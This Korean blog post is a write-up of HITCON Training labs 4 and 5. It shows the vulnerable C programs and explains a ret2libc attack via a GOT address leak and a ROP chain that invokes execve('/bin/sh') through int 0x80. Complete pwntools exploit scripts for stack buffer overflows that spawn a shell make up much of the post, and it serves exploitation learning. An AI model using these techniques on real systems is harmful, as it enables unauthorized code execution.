본문 바로가기

Security

HITCON Training lab4 ~ 5

lab4

#include <stdio.h>

void See_something(unsigned int addr){
	int *address ;
	address = (int *)addr ;
	printf("The content of the address : %p\n",*address);
};

void Print_message(char *mesg){
	char buf[48];
	strcpy(buf,mesg);
	printf("Your message is : %s",buf);
}

int main(){
	char address[10] ;
	char message[256];
	unsigned int addr ;
	puts("###############################");
	puts("Do you know return to library ?");
	puts("###############################");
	puts("What do you want to see in memory?");
	printf("Give me an address (in dec) :");
	fflush(stdout);
	read(0,address,10);
	addr = strtol(address);
	See_something(addr) ;
	printf("Leave some message for me :");
	fflush(stdout);
	read(0,message,256);
	Print_message(message);
	puts("Thanks you ~");
	return 0 ;
}

lab4 문제는 NX가 걸려있기 때문에 스택의 실행권한이 없다. 따라서 쉘코드를 스택에 올려 코드를 실행할 수 없고, 라이브러리의 system 함수를 통해 문제를 해결했다. See_something 함수는 원하는 주소를 입력하면 해당 주소의 값을 읽어온다. 나의 경우, read의 got 주소를 입력하여 실제 read 함수의 주소를 구하고 offset 계산을 통해 system 함수와 "/bin/sh" 문자열의 주소를 구했다. 

from pwn import *
context.log_level = 'debug'

p = process('./ret2lib')
E = ELF('./ret2lib')
read_got = E.got['read']
system_offset = 0xb03d0
binsh_offset = 0x14CB22

p.recvuntil('Give me an address (in dec) :')
p.sendline(str(read_got))
p.recvuntil('The content of the address :')
read_addr = p.recvuntil('\n')
read_addr = int(read_addr, 16)
system_addr = read_addr - system_offset
binsh_addr = system_addr + binsh_offset
log.info('system addr: 0x%x' % system_addr)
log.info('/bin/sh : 0x%x' % binsh_addr)
input()
p.recvuntil('Leave some message for me :')
p.sendline(b'A'*60+p32(system_addr)+b'BBBB'+p32(binsh_addr))
p.interactive()

lab5

#include <stdio.h>

int main(){
	char buf[20];
	puts("ROP is easy is'nt it ?");
	printf("Your input :");
	fflush(stdout);
	read(0,buf,100);

}

lab5의 코드는 간단하다. buf[20] 변수에 read 함수를 통해 100 길이만큼이나 입력이 가능하여 BOF 취약점이 발생한다. 보호기법은 NX와 ASLR이 걸려있다. 따라서 ROP를 통해 문제를 해결했다. 처음에 해결하려던 방법은 read 함수를 호출해 "/bin/sh" 문자열을 .bss 영역에 저장하고 system 함수를 호출하여 쉘을 실행하려고 했다. 하지만 당연하게도 system 함수는 존재하지 않았다. 어떤 방법이 있는지 고민하던 중, 시스템 콜을 이용하여 쉘을 실행하기로 했다. 일단 처음에 생각한대로 "/bin/sh" 문자열은 .bss 영역에 read함수를 통해 저장했다. 그리고 system call을 위해 레지스터를 조정했다. 조정해야할 레지스터는 다음과 같다.

EAX 시스템콜 넘버 (execve를 실행하기위해 11번으로 설정)
EBX 시스템콜 인자1 ("/bin/sh")
ECX 시스템콜 인자2 (NULL)
EDX 시스템콜 인자3 (NULL)

ROP를 할 때, 가장 중요한 부분인 원하는 가젯을 찾는거에서 시간이 좀 걸렸다. 각각의 레지스터 값을 원하는대로 설정하기 위해 pop "registers"; ret; 코드를 찾고 있었는데 나는 기존의 peda의 기능만을 활용했었다. 또는 objdump를 통해 직접 일일히 찾아봤는데 ebx, ecx, edx 레지스터를 pop 하는 코드를 찾을 수 없었다. 그래서 ROPgadget이라는 도구를 사용했고 나의 경우, opcode를 통해 원하는 코드를 검색했다. 

from pwn import *

pop_eax_ret = 0x80e1acd
pop_ebx_ret = 0x8054ecd
bss_area = 0x80eaf80
read_addr = 0x806cd50
pppr = 0x806e850 #pop edx;pop ecx;pop ebx;ret
int80_addr = 0x08093b4b

p = process('./simplerop')
p.recvuntil('Your input :')

payload = b''
payload += b'A'*32
payload += p32(read_addr)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss_area)
payload += p32(10)

payload += p32(pppr)
payload += p32(0)
payload += p32(0)
payload += p32(bss_area)
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(int80_addr)

p.send(payload)
p.send("/bin/sh\x00")
p.interactive()

'Security' 카테고리의 다른 글

BOF 중 scanf에 대한 글  (0) 2020.11.13
HITCON Training lab6  (0) 2020.11.04
Oneshot 가젯  (0) 2020.10.16
HITCON Training lab1 ~ 3  (0) 2020.10.12
CODEGATE 2019 컨퍼런스 후기  (0) 2019.03.30